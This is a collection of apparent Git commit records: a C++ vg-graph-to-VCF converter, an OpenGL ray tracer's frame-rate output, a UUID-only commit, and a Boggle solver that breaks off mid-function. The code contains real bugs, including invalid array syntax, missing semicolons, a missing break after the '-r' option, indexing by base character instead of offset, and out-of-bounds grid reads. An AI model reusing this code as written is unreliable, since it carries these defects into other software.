<commit_before>// main.cpp: Main file for core graph merger

#include <iostream>
#include <fstream>
#include <sstream>
#include <regex>
#include <set>
#include <getopt.h>

#include "ekg/vg/vg.hpp"
#include "ekg/vg/index.hpp"
#include "ekg/vg/vcflib/src/Variant.h"

/**
 * Represents our opinion of a particular base in a node in the graph.
 */
struct BaseCall {
    // Is the default base here peresnt?
    bool graphBasePresent = true;
    // How many alts are here?
    char numberOfAlts = 0;
    // What are the actual alt bases?
    char[2] alts;
}

/**
 * Make a letter into a full string because apparently that's too fancy for the
 * standard library.
 */
std::string char_to_string(const char& letter) {
    std::string toReturn;
    toReturn.push_back(letter);
    return toReturn;
}

/**
 * Write a minimal VCF header for a single-sample file.
 */
void write_vcf_header(std::ostream& stream, std::string sample_name) {
   stream << "##fileformat=VCFv4.2" << std::endl;
   stream << "##FORMAT=<ID=GT,Number=1,Type=Integer,Description=\"Genotype\">" << std::endl;
   stream << "#CHROM\tPOS\tID\tREF\tALT\tQUAL\tFILTER\tINFO\tFORMAT\t" << sample_name << std::endl;
}

/**
 * Create the reference allele for an empty vcflib Variant, since apaprently
 * there's no method for that already. Must be called before any alt alleles are
 * added.
 */
void create_ref_allele(vcflib::Variant& variant, const std::string& allele) {
    // Set the ref allele
    variant.ref = allele;
    // Make it 0 in the alleles-by-index list
    variant.alleles.push_back(allele);
    // Build the reciprocal index-by-allele mapping
    variant.updateAlleleIndexes();
}

/**
 * Add a new alt allele to a vcflib Variant, since apaprently there's no method
 * for that already.
 */
void add_alt_allele(vcflib::Variant& variant, const std::string& allele) {
    // Add it as an alt
    variant.alt.push_back(allele);
    // Make it next in the alleles-by-index list
    variant.alleles.push_back(allele);
    // Build the reciprocal index-by-allele mapping
    variant.updateAlleleIndexes();
}

void help_main(char** argv) {
    std::cerr << "usage: " << argv[0] << " [options] VGFILE GLENNFILE" << std::endl
        << "Convert a Glenn-format vg graph and variant file pair to a VCF." << std::endl
        << std::endl
        << "There are three objects in play: the reference (a single path), "
        << "the graph (containing the reference as a path) and the sample "
        << "(which is a set of calls on the graph, with some substitutions, "
        << "defined by the Glenn file)."
        << std::endl
        << "options:" << std::endl
        << "    -h, --help          print this help message" << std::endl;
}

int main(int argc, char** argv) {

    if(argc == 1) {
        // Print the help
        help_main(argv);
        return 1;
    }

    optind = 1; // Start at first real argument
    bool optionsRemaining = true;
    while(optionsRemaining) {
        static struct option longOptions[] = {
            {"help", no_argument, 0, 'h'},
            {0, 0, 0, 0}
        };

        int optionIndex = 0;

        char option = getopt_long(argc, argv, "h", longOptions, &optionIndex);
        switch(option) {
        // Option value is in global optarg
        case -1:
            optionsRemaining = false;
            break;
        case 'h': // When the user asks for help
        case '?': // When we get options we can't parse
            help_main(argv);
            exit(1);
            break;
        default:
            std::cerr << "Illegal option: " << option << std::endl;
            exit(1);
        }
    }

    if(argc - optind < 2) {
        // We don't have two positional arguments
        // Print the help
        help_main(argv);
        return 1;
    }

    // Pull out the file names
    std::string vgFile = argv[optind++];
    std::string glennFile = argv[optind++];

    // Open the vg file
    std::ifstream vgStream(vgFile);
    if(!vgStream.good()) {
        std::cerr << "Could not read " << vgFile << std::endl;
        exit(1);
    }

    // Load up the VG file
    vg::VG vg(vgStream);

    // Open up the Glenn-file
    std::ifstream glennStream(glennFile);

    // Parse it into an internal format, where we keep track of whether bases
    // exist or not.
    // Stores call info for a position by graph node and index in the node.
    std::map<int64_t, std::vector<BaseCall>> callsByNodeOffset;

    // TODO: fill that in

    // Then go through it from the graph's point of view: first over alt nodes
    // backending into the reference (creating things occupying ranges to which
    // we can attribute copy number) and then over reference nodes.

    // We can't make Variant records without a VariantCallFile, because the
    // variants need to know which of their available info fields or whatever
    // are defined in the file's header, so they know what to output.

    // Generate a header
    std::stringstream headerStream;
    // TODO: get sample name from file or a command line option.
    write_vcf_header(headerStream, "SAMPLE");

    // Load the headers into a new VCF
    vcflib::VariantCallFile vcf;
    std::string headerString = headerStream.str();
    assert(vcf.openForOutput(headerString));

    // Spit out the header
    std::cout << headerStream.str();

    // Loop through all the lines
    std::string line;
    while(std::getline(glennStream, line)) {
        // For each line

        // Make a stringstream to read out tokens
        std::stringstream tokens(line);

        // Read the node id
        int64_t nodeId;
        tokens >> nodeId;

        // Read the offset
        size_t offset;
        tokens >> offset;
        offset--; // Make it 0-based

        // Read the base that the graph has at this position
        char graphBase;
        tokens >> graphBase;

        // Read the call string
        std::string call;
        tokens >> call;

        // Split that out into a set of call character strings. This is how we
        // split on commas in C++. Ask for the non-matched parts of a regex
        // iterator that matches commas.
        std::set<std::string> callCharacters(std::sregex_token_iterator(
            call.begin(), call.end(), std::regex(","), -1),
            std::sregex_token_iterator());

        // TODO: real conversion

        // Spit out a nonsense VCF line
        vcflib::Variant variant;
        variant.setVariantCallFile(vcf);
        variant.quality = 0;

        // Initialize the ref allele
        create_ref_allele(variant, char_to_string(graphBase));

        for(auto character : callCharacters) {
            // For each character (in its own string) that we called
            if(character != "-" && character != ".") {
                // It's an alt character
                // Add it to the variant
                add_alt_allele(variant, character);
            }
        }

        // Output the created VCF variant.
        std::cout << variant << std::endl;
    }

    return 0;
}

<commit_msg>Can find alts already in the graph and call them as variants.<commit_after>// main.cpp: Main file for core graph merger

#include <iostream>
#include <fstream>
#include <sstream>
#include <regex>
#include <set>
#include <utility>
#include <algorithm>
#include <getopt.h>

#include "ekg/vg/vg.hpp"
#include "ekg/vg/index.hpp"
#include "ekg/vg/vcflib/src/Variant.h"

/**
 * Represents our opinion of a particular base in a node in the graph.
 */
struct BaseCall {
    // How many alts are allowed?
    static const int MAX_ALTS = 2;

    // Is the default base here peresnt?
    bool graphBasePresent = false;
    // How many alts are here?
    char numberOfAlts = 0;
    // What are the actual alt bases?
    char alts[MAX_ALTS];

    /**
     * Create a new BaseCall representing what's going on at this position in
     * the graph. Uses the calls from the Glenn file (up to two one-character
     * strings). This constructor is responsible for interpreting the "-" and
     * "." special call characters.
     */
    BaseCall(const std::set<std::string>& altSet) {

        // We start with no alts.
        numberOfAlts = 0;
        // And with no indication that this base is present in the graph.
        graphBasePresent = false;
        for(auto alt : altSet) {
            if(alt == "-") {
                // This isn't a real alt base. It just means "same as the other
                // character". Skip it.
                continue;
            } else if(alt == ".") {
                // The occurrence of this character means that the graph's
                // normal base is actually present.
                graphBasePresent = true;
                continue;
            }
            // Otherwise we got a real letter.
            // Make sure we're not going out of bounds
            assert(alt.size() == 1);
            assert(numberOfAlts < MAX_ALTS);
            // Store each alt at the next position in  the array.
            alts[numberOfAlts] = alt[0];
            numberOfAlts++;
        }
    }

    /**
     * Default constructor for being put in a vector.
     */
    BaseCall() {
        // Nothing to do!
    }
};

/**
 * Make a letter into a full string because apparently that's too fancy for the
 * standard library.
 */
std::string char_to_string(const char& letter) {
    std::string toReturn;
    toReturn.push_back(letter);
    return toReturn;
}

/**
 * Write a minimal VCF header for a single-sample file.
 */
void write_vcf_header(std::ostream& stream, std::string sample_name) {
   stream << "##fileformat=VCFv4.2" << std::endl;
   stream << "##FORMAT=<ID=GT,Number=1,Type=Integer,Description=\"Genotype\">" << std::endl;
   stream << "#CHROM\tPOS\tID\tREF\tALT\tQUAL\tFILTER\tINFO\tFORMAT\t" << sample_name << std::endl;
}

/**
 * Create the reference allele for an empty vcflib Variant, since apaprently
 * there's no method for that already. Must be called before any alt alleles are
 * added.
 */
void create_ref_allele(vcflib::Variant& variant, const std::string& allele) {
    // Set the ref allele
    variant.ref = allele;
    // Make it 0 in the alleles-by-index list
    variant.alleles.push_back(allele);
    // Build the reciprocal index-by-allele mapping
    variant.updateAlleleIndexes();
}

/**
 * Add a new alt allele to a vcflib Variant, since apaprently there's no method
 * for that already.
 */
void add_alt_allele(vcflib::Variant& variant, const std::string& allele) {
    // Add it as an alt
    variant.alt.push_back(allele);
    // Make it next in the alleles-by-index list
    variant.alleles.push_back(allele);
    // Build the reciprocal index-by-allele mapping
    variant.updateAlleleIndexes();
}

/**
 * Return true if a mapping is a perfect match, and false if it isn't.
 */
bool mapping_is_perfect_match(const vg::Mapping& mapping) {
    for (auto edit : mapping.edit()) {
        if (edit.from_length() != edit.to_length() || !edit.sequence().empty()) {
            // This edit isn't a perfect match
            return false;
        }
    }

    // If we get here, all the edits are perfect matches.
    // Note that Mappings with no edits at all are full-length perfect matches.
    return true;
}

void help_main(char** argv) {
    std::cerr << "usage: " << argv[0] << " [options] VGFILE GLENNFILE" << std::endl
        << "Convert a Glenn-format vg graph and variant file pair to a VCF." << std::endl
        << std::endl
        << "There are three objects in play: the reference (a single path), "
        << "the graph (containing the reference as a path) and the sample "
        << "(which is a set of calls on the graph, with some substitutions, "
        << "defined by the Glenn file)."
        << std::endl
        << "options:" << std::endl
        << "    -r, --ref PATH      use the given path name as the reference path" << std::endl
        << "    -h, --help          print this help message" << std::endl;
}

int main(int argc, char** argv) {

    if(argc == 1) {
        // Print the help
        help_main(argv);
        return 1;
    }

    // Option variables
    // What's the name of the reference path in the graph?
    std::string refPathName = "ref";

    optind = 1; // Start at first real argument
    bool optionsRemaining = true;
    while(optionsRemaining) {
        static struct option longOptions[] = {
            {"ref", required_argument, 0, 'r'},
            {"help", no_argument, 0, 'h'},
            {0, 0, 0, 0}
        };

        int optionIndex = 0;

        char option = getopt_long(argc, argv, "r:h", longOptions, &optionIndex);
        switch(option) {
        // Option value is in global optarg
        case 'r':
            // Set the reference path name
            refPathName = optarg;
        case -1:
            optionsRemaining = false;
            break;
        case 'h': // When the user asks for help
        case '?': // When we get options we can't parse
            help_main(argv);
            exit(1);
            break;
        default:
            std::cerr << "Illegal option: " << option << std::endl;
            exit(1);
        }
    }

    if(argc - optind < 2) {
        // We don't have two positional arguments
        // Print the help
        help_main(argv);
        return 1;
    }

    // Pull out the file names
    std::string vgFile = argv[optind++];
    std::string glennFile = argv[optind++];

    // Open the vg file
    std::ifstream vgStream(vgFile);
    if(!vgStream.good()) {
        std::cerr << "Could not read " << vgFile << std::endl;
        exit(1);
    }

    // Load up the VG file
    vg::VG vg(vgStream);

    // Make sure the reference path is present
    assert(vg.paths.has_path(refPathName));

    // Trace the reference path, and assign each node a canonical reference
    // range. The first base of the node occurs at the given position in the
    // reference. Some nodes may be backward (orientation true) at their
    // canonical reference positions. In this case, the last base of the node
    // occurs at the given position.
    std::map<int64_t, std::pair<size_t, bool>> referencePositionAndOrientation;

    // We're also going to build the reference sequence string
    std::stringstream refSeqStream;

    // What base are we at in the reference
    size_t referenceBase = 0;
    for(auto mapping : vg.paths.get_path(refPathName)) {
        // All the mappings need to be perfect matches.
        assert(mapping_is_perfect_match(mapping));

        if(!referencePositionAndOrientation.count(mapping.position().node_id())) {
            // This is the first time we have visited this node in the reference
            // path.

            // Add in a mapping.
            referencePositionAndOrientation[mapping.position().node_id()] =
                std::make_pair(referenceBase, mapping.is_reverse());
        }

        // Find the node's sequence
        auto& sequence = vg.get_node(mapping.position().node_id())->sequence();

        // Add it to our idea of the reference string
        refSeqStream << sequence;

        // Whether we found the right place for this node in the reference or
        // not, we still need to advance along the reference path. We assume the
        // whole node is included in the path (since it sort of has to be,
        // syntactically, unless it's the first or last node).
        referenceBase += sequence.size();
    }

    // Create the actual reference sequence we will use
    std::string refSeq(refSeqStream.str());

    // Announce progress.
    std::cerr << "Traced " << referenceBase << " bp reference path " << refPathName << "." << std::endl;

    // Open up the Glenn-file
    std::ifstream glennStream(glennFile);

    // Parse it into an internal format, where we keep track of whether bases
    // exist or not.
    // Stores call info for a position by graph node and index in the node.
    std::map<int64_t, std::vector<BaseCall>> callsByNodeOffset;

    // Loop through all the lines
    std::string line;
    while(std::getline(glennStream, line)) {
        // For each line

        // Make a stringstream to read out tokens
        std::stringstream tokens(line);

        // Read the node id
        int64_t nodeId;
        tokens >> nodeId;

        // Read the offset
        size_t offset;
        tokens >> offset;
        offset--; // Make it 0-based

        // Read the base that the graph has at this position
        char graphBase;
        tokens >> graphBase;

        // Read the call string
        std::string call;
        tokens >> call;

        // Split that out into a set of call character strings. This is how we
        // split on commas in C++. Ask for the non-matched parts of a regex
        // iterator that matches commas.
        std::set<std::string> callCharacters(std::sregex_token_iterator(
            call.begin(), call.end(), std::regex(","), -1),
            std::sregex_token_iterator());

        // Fill in the callsByNodeOffset map for this base of this node.

        if(callsByNodeOffset[nodeId].size() <= graphBase) {
            // Make sure there's room in the vector
            callsByNodeOffset[nodeId].resize(graphBase + 1);
        }

        // Interpret the meaning of the -,. or A,C type character pairs that
        // Glenn is using.
        callsByNodeOffset[nodeId][graphBase] = BaseCall(callCharacters);
    }

    // Generate a vcf header
    std::stringstream headerStream;
    // TODO: get sample name from file or a command line option.
    write_vcf_header(headerStream, "SAMPLE");

    // Load the headers into a new VCF file object
    vcflib::VariantCallFile vcf;
    std::string headerString = headerStream.str();
    assert(vcf.openForOutput(headerString));

    // Spit out the header
    std::cout << headerStream.str();

    vg.for_each_node([&](vg::Node* node) {
        // Look at every node in the graph and spit out variants for the ones
        // that are non-reference, but attach to two reference nodes and are
        // called as present.

        // Ensure this node is nonreference
        if(referencePositionAndOrientation.count(node->id())) {
            // Skip reference nodes
            return;
        }

        // Ensure this node attaches to two reference nodes, with correct
        // orientations.

        // Get all the oriented nodes to the left of this one's local forward.
        vector<vg::NodeTraversal> prevNodes;
        vg.nodes_prev(vg::NodeTraversal(node), prevNodes);

        // Find the leftmost reference node we're attached to at our start.
        size_t leftmostInPosition = (size_t) -1;
        vg::NodeTraversal leftmostInNode;

        for(auto& candidate : prevNodes) {
            // Look it up in the reference
            auto found = referencePositionAndOrientation.find(candidate.node->id());
            if(found == referencePositionAndOrientation.end()) {
                // We only care about nodes that actually are in the reference
                continue;
            }

            if((*found).second.first < leftmostInPosition) {
                // Take this as our new leftmost way into this node from the
                // reference. We know the reference positions are strictly
                // ordered, so orientation in the reference doesn't matter here.
                leftmostInNode = candidate;
                leftmostInPosition = (*found).second.first;
            }
        }

        // Get all the oriented nodes to the right of this one's local forward.
        vector<vg::NodeTraversal> nextNodes;
        vg.nodes_next(vg::NodeTraversal(node), nextNodes);

        // Find the leftmost reference node we're attached to at our end.
        size_t leftmostOutPosition = (size_t) -1;
        vg::NodeTraversal leftmostOutNode;

        for(auto& candidate : nextNodes) {
            // Look it up in the reference
            auto found = referencePositionAndOrientation.find(candidate.node->id());
            if(found == referencePositionAndOrientation.end()) {
                // We only care about nodes that actually are in the reference
                continue;
            }

            if((*found).second.first < leftmostOutPosition) {
                // Take this as our new leftmost way into this node from the
                // reference. We know the reference positions are strictly
                // ordered, so orientation in the reference doesn't matter here.
                leftmostOutNode = candidate;
                leftmostOutPosition = (*found).second.first;
            }
        }

        // Now check the above to make sure we're actually placed in a
        // consistent place in the reference. We need to be able to read along
        // the reference forward, into this node, and out the other end into the
        // reference later in the same orientation.
        if(leftmostInNode.node == nullptr || leftmostOutNode.node == nullptr) {
            // We're missing a reference node on one side.
            std::cerr << "Node " << node->id() << " not anchored to reference." << std::endl;
            return;
        }

        // Determine if we read into this node forward along the reference
        // (true) or backward along the reference (false). If we found the node
        // to our left in the same orientation as it occurs in the reference,
        // then we do read in forward.
        bool readInForward = leftmostInNode.backward == referencePositionAndOrientation.at(leftmostInNode.node->id()).second;

        // If we found the node to our right in the same orientation as it
        // occurs in the reference, then we do read out forward as well.
        bool readOutForward = leftmostOutNode.backward == referencePositionAndOrientation.at(leftmostOutNode.node->id()).second;

        if(readInForward != readOutForward) {
            // Going through this node would cause us to invert the direction
            // we're traversing the reference in.
            std::cerr << "Node " << node->id() << " inverts reference path." << std::endl;
            return;
        }

        // We need to work out what orientation we have relative to the
        // reference.
        vg::NodeTraversal altNode(node);

        if(!readInForward) {
            // We have a consistent orientation, but it's backward!
            // Swap the in and out nodes, and traverse our node in reverse.
            altNode.backward = true;
            std::swap(leftmostInNode, leftmostOutNode);
        }

        // Now we know that the in node really is where we come into the alt,
        // and the out node really is where we leave the alt, when reading along
        // the reference path. Either may still be backward in the reference
        // path, though.

        // Work out where and how they are positioned in the reference
        auto& inNodePlacement = referencePositionAndOrientation.at(leftmostInNode.node->id());
        auto& outNodePlacement = referencePositionAndOrientation.at(leftmostOutNode.node->id());

        if(outNodePlacement.first <= inNodePlacement.first) {
            // We're perfectly fine, orientation-wise, except we let you time
            // travel and leave before you arrived.
            std::cerr << "Node " << node->id() << " allows duplication." << std::endl;
            return;
        }

        // So what are the actual bounds of the reference interval covered by
        // the node? Since the node placement positions are just the first bases
        // along the reference at which the nodes occur, we don't care about
        // orientation of the anchoring node sequences.
        size_t referenceIntervalStart = inNodePlacement.first + leftmostInNode.node->sequence().size();
        size_t referenceIntervalPastEnd = outNodePlacement.first;
        assert(referenceIntervalPastEnd >= referenceIntervalStart);
        // How long is this interval in the reference?
        size_t referenceIntervalSize = referenceIntervalPastEnd - referenceIntervalStart;

        // Determine if this node is present throughout
        bool nodeFullyPresent = true;
        // And if any of it is present at all
        bool nodePartlyPresent = false;
        // Determine how many alt calls on the node are also present. TODO:
        // since we aren't going to list these as variants, should we just
        // ignore them?
        int maxAltsPresent = 0;
        for(auto& call : callsByNodeOffset[node->id()]) {
            // For every base in the node, note if it's graph base is present.
            nodeFullyPresent = nodeFullyPresent && call.graphBasePresent;
            nodePartlyPresent = nodePartlyPresent || call.graphBasePresent;

            // And note how many alts are also present.
            maxAltsPresent = std::max(maxAltsPresent, (int)call.numberOfAlts);
        }

        if(nodePartlyPresent && !nodeFullyPresent) {
            // We shouldn't call this as a variant; they're not even
            // heterozygous this alt.
            std::cerr << "Node " << node->id() <<" is nonreference attached to "
                << "reference, but only partially present. Skipping!"
                << std::endl;
            return;
        }

        if(maxAltsPresent > 0) {
            // This node is present, but it has alts we should call on it and
            // won't.
            std::cerr << "Node " << node->id() <<" is nonreference attached to "
                << "reference, and present, but has additional novel alts!"
                << std::endl;
            // TODO: we leave the node in, because at least one copy of it
            // exists, but we might end up calling it homozygous when really we
            // have one of it and one of a modified version of it.
        }

        // Make a Variant
        vcflib::Variant variant;
        variant.setVariantCallFile(vcf);
        variant.quality = 0;

        // Pull out the string for the reference allele
        std::string refAllele = refSeq.substr(referenceIntervalStart, referenceIntervalSize);
        // And for the alt allele
        std::string altAllele = node->sequence();

        if(refAllele.size() == 0) {
            // Shift everybody left by 1 base for the anchoring base that VCF
            // requires for insertions.
            assert(referenceIntervalStart != 0);
            referenceIntervalStart--;
            referenceIntervalSize++;
            // Add that base to the start of both alleles.
            refAllele = refSeq[referenceIntervalStart] + refAllele;
            altAllele = refSeq[referenceIntervalStart] + altAllele;
        }

        // Alt allele size can't be 0, no need to do the same shift for
        // deletions

        // Set the variant position. Convert to 1-based.
        variant.position = referenceIntervalStart + 1;

        // Initialize the ref allele
        create_ref_allele(variant, refAllele);

        // Add the graph version
        add_alt_allele(variant, altAllele);

        std::cerr << "Found variant " << refAllele << " -> " << altAllele
            << " at 1-based position " << variant.position << std::endl;

        // TODO: determine hom/het based on whether the ref path (or some other
        // alt path?) is also called as present.

        // TODO: trace along the ref path between the entry and exit nodes in
        // order to do that (and to get the sequence?)

        // Output the created VCF variant.
        std::cout << variant << std::endl;

    });

    // Then go through it from the graph's point of view: first over alt nodes
    // backending into the reference (creating things occupying ranges to which
    // we can attribute copy number) and then over reference nodes.

    // We can't make Variant records without a VariantCallFile, because the
    // variants need to know which of their available info fields or whatever
    // are defined in the file's header, so they know what to output.

    return 0;
}

<|endoftext|>


<commit_before>
#include <random>
#include <chrono>
#include <cmath>
#include <fstream>
#include <iostream>
#include <memory>
#include <string>

#include <GL/glew.h>
#include <GLFW/glfw3.h>

using namespace std;

string readTextFile(const char* filename) {
    ifstream fin(filename);
    return string(istreambuf_iterator<char>(fin), istreambuf_iterator<char>());
}

void printShaderLog(string prefix, GLuint shader) {
    int logLength = 0;
    glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &logLength);
    if(logLength <= 1) return;

    unique_ptr<GLchar[]> log(new GLchar[logLength]);
    glGetShaderInfoLog(shader, logLength, nullptr, log.get());
    cout << prefix << log.get() << endl;
}
void loadShaders() {
	GLint success = 0;

    GLuint v = glCreateShader(GL_VERTEX_SHADER);
    string vs = readTextFile("shader.vert");
    const char* vv = vs.c_str();
    glShaderSource(v, 1, &vv, nullptr);
    glCompileShader(v);
    printShaderLog("vertex shader: ", v);

	glGetShaderiv(v, GL_COMPILE_STATUS, &success);
	if(success == GL_FALSE) exit(-1);

    GLuint f = glCreateShader(GL_FRAGMENT_SHADER);
    string fs = readTextFile("shader.frag");
    const char* ff = fs.c_str();
    glShaderSource(f, 1, &ff, nullptr);
    glCompileShader(f);
    printShaderLog("fragment shader: ", f);

	glGetShaderiv(f, GL_COMPILE_STATUS, &success);
	if(success == GL_FALSE) exit(-1);

    GLuint program = glCreateProgram();
    glAttachShader(program, v);
    glAttachShader(program, f);

    glLinkProgram(program);
    glUseProgram(program);
}

int main(void) {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_real_distribution<> dis(1, 2);

    bool reportFrameRate = true;
    GLFWwindow* window;

    /* Initialize the library */
    if(!glfwInit()) return -1;

    /* Create a windowed mode window and its OpenGL context */
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
	glfwWindowHint(GLFW_RESIZABLE, GL_FALSE);
    window = glfwCreateWindow(640, 480, "Acceleray", NULL, NULL);
    if(!window) {
        glfwTerminate();
        return -1;
    }

    /* Make the window's context current */
    glfwMakeContextCurrent(window);
	glfwSwapInterval(0);

    glewExperimental = GL_TRUE;
    glewInit();

    loadShaders();

    GLuint vao;
    glGenVertexArrays(1, &vao);
    glBindVertexArray(vao);

    int width, height;
    glfwGetWindowSize(window, &width, &height);
	glUniform2f(0, width, height);
	glViewport(0, 0, width, height);

	GLuint image;
	glGenTextures(1, &image);
	glBindTexture(GL_TEXTURE_2D, image);
	unique_ptr<float> imageData(new float[width*height*4]);
    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA32F, width, height, 0, GL_RGBA,
                 GL_FLOAT, imageData.get());
	glBindTexture(GL_TEXTURE_2D, 0);
    glBindImageTexture(0, image, 0, GL_FALSE, 0, GL_READ_WRITE, GL_RGBA32F);

    glClearColor(0.0, 0.0, 0.0, 1.0);

    int lastPrint = 0;
	unsigned int frameNumber = 0;
    auto frameTimerStart = chrono::system_clock::now();
    while(!glfwWindowShouldClose(window)) {
        if(reportFrameRate && frameNumber - lastPrint >= 100) {
            chrono::duration<double> length =
                chrono::system_clock::now() - frameTimerStart;
            cout << floor((float)(frameNumber - lastPrint) / length.count())
                 << endl;

            lastPrint = frameNumber;
            frameTimerStart = chrono::system_clock::now();
        }

		glUniform1ui(2, frameNumber++);

        glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
        glDrawArrays(GL_TRIANGLE_FAN, 0, 4);

        glfwSwapBuffers(window);
        glMemoryBarrier(GL_SHADER_IMAGE_ACCESS_BARRIER_BIT);
        glfwPollEvents();
    }

    glfwTerminate();
    return 0;
}
<commit_msg>Improved terminal output<commit_after>
#include <random>
#include <chrono>
#include <cmath>
#include <fstream>
#include <iostream>
#include <memory>
#include <string>

#include <GL/glew.h>
#include <GLFW/glfw3.h>

using namespace std;

string readTextFile(const char* filename) {
    ifstream fin(filename);
    return string(istreambuf_iterator<char>(fin), istreambuf_iterator<char>());
}

void printShaderLog(string prefix, GLuint shader) {
    int logLength = 0;
    glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &logLength);
    if(logLength <= 1) return;

    unique_ptr<GLchar[]> log(new GLchar[logLength]);
    glGetShaderInfoLog(shader, logLength, nullptr, log.get());
    cout << prefix << log.get() << endl;
}
void loadShaders() {
	GLint success = 0;

    GLuint v = glCreateShader(GL_VERTEX_SHADER);
    string vs = readTextFile("shader.vert");
    const char* vv = vs.c_str();
    glShaderSource(v, 1, &vv, nullptr);
    glCompileShader(v);
    printShaderLog("vertex shader: ", v);

	glGetShaderiv(v, GL_COMPILE_STATUS, &success);
	if(success == GL_FALSE) exit(-1);

    GLuint f = glCreateShader(GL_FRAGMENT_SHADER);
    string fs = readTextFile("shader.frag");
    const char* ff = fs.c_str();
    glShaderSource(f, 1, &ff, nullptr);
    glCompileShader(f);
    printShaderLog("fragment shader: ", f);

	glGetShaderiv(f, GL_COMPILE_STATUS, &success);
	if(success == GL_FALSE) exit(-1);

    GLuint program = glCreateProgram();
    glAttachShader(program, v);
    glAttachShader(program, f);

    glLinkProgram(program);
    glUseProgram(program);
}

int main(void) {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_real_distribution<> dis(1, 2);

    bool reportFrameRate = true;
    GLFWwindow* window;

    /* Initialize the library */
    if(!glfwInit()) return -1;

    /* Create a windowed mode window and its OpenGL context */
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
	glfwWindowHint(GLFW_RESIZABLE, GL_FALSE);
    window = glfwCreateWindow(640, 480, "Acceleray", NULL, NULL);
    if(!window) {
        glfwTerminate();
        return -1;
    }

    /* Make the window's context current */
    glfwMakeContextCurrent(window);
	glfwSwapInterval(0);

    glewExperimental = GL_TRUE;
    glewInit();

    loadShaders();

    GLuint vao;
    glGenVertexArrays(1, &vao);
    glBindVertexArray(vao);

    int width, height;
    glfwGetWindowSize(window, &width, &height);
	glUniform2f(0, width, height);
	glViewport(0, 0, width, height);

	GLuint image;
	glGenTextures(1, &image);
	glBindTexture(GL_TEXTURE_2D, image);
	unique_ptr<float> imageData(new float[width*height*4]);
    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA32F, width, height, 0, GL_RGBA,
                 GL_FLOAT, imageData.get());
	glBindTexture(GL_TEXTURE_2D, 0);
    glBindImageTexture(0, image, 0, GL_FALSE, 0, GL_READ_WRITE, GL_RGBA32F);

    glClearColor(0.0, 0.0, 0.0, 1.0);

    int lastPrint = 0;
	unsigned int frameNumber = 0;
    auto frameTimerStart = chrono::system_clock::now();
    while(!glfwWindowShouldClose(window)) {
        if(reportFrameRate && frameNumber - lastPrint >= 100) {
            chrono::duration<double> length =
                chrono::system_clock::now() - frameTimerStart;
            cout << "FPS = "<<floor((float)(frameNumber - lastPrint) / length.count())
                 << ", Total Samples = " << frameNumber << endl;

            lastPrint = frameNumber;
            frameTimerStart = chrono::system_clock::now();
        }

		glUniform1ui(2, frameNumber++);

        glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
        glDrawArrays(GL_TRIANGLE_FAN, 0, 4);

        glfwSwapBuffers(window);
        glMemoryBarrier(GL_SHADER_IMAGE_ACCESS_BARRIER_BIT);
        glfwPollEvents();
    }

    glfwTerminate();
    return 0;
}
<|endoftext|>


<commit_before>4f778847-2748-11e6-9f44-e0f84713e7b8<commit_msg>lets try again<commit_after>4f84f730-2748-11e6-bc6b-e0f84713e7b8<|endoftext|>


<commit_before>//
//  main.cpp
//  Boogle
//
//  Created by Victor Elizalde on 20/11/15.
//  Copyright © 2015 Victor Elizalde. All rights reserved.
//

#include <iostream>
#include <string>
using namespace std;

struct Hola{
  int a = 2;
}

int Puntaje(string strPalabras, int sum)
{
    if(strPalabras.length() == 3 or strPalabras.length() == 4)
        return sum += 1;
    else if(strPalabras.length() == 5)
        return sum += 2;
    else if(strPalabras.length() == 6)
        return sum += 3;
    else if(strPalabras.length() == 7)
        return sum += 5;
    else if(strPalabras.length() >= 8)
        return sum += 11;
    return sum;
}

Hola Posicion(int a)
{
  Hola i;
  i.a = a;
  return i;
}

bool ChecaAlrededor(int i, int j, string strPalabras, char matBoggle[4][4], bool matbool[4][4], int h)
{
    bool b = false;
    if(i < 0 or i > 3 or j < 0 or j > 3)
    {
        return false;
    }

        if(matbool[i+1][j-1] == false && matBoggle[i+1][j-1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 7 << endl;
            matbool[i+1][j-1] = true;
            b = ChecaAlrededor(i+1, j-1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i][j+1] == false && matBoggle[i][j+1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 1 << endl;
            matbool[i][j+1] = true;
            b = ChecaAlrededor(i, j+1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i+1][j+1] == false && matBoggle[i+1][j+1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 2 << endl;
            matbool[i+1][j+1] = true;
            b = ChecaAlrededor(i+1, j+1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i+1][j] == false && matBoggle[i+1][j] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 3 << endl;
            matbool[i+1][j] = true;
            b = ChecaAlrededor(i+1, j, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i][j-1] == false && matBoggle[i][j-1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 4 << endl;
            matbool[i][j-1] = true;
            b = ChecaAlrededor(i, j-1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i-1][j-1] == false && matBoggle[i-1][j-1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 5 << endl;
            matbool[i-1][j-1] = true;
            b = ChecaAlrededor(i-1, j-1, strPalabras, matBoggle, matbool, h+1);
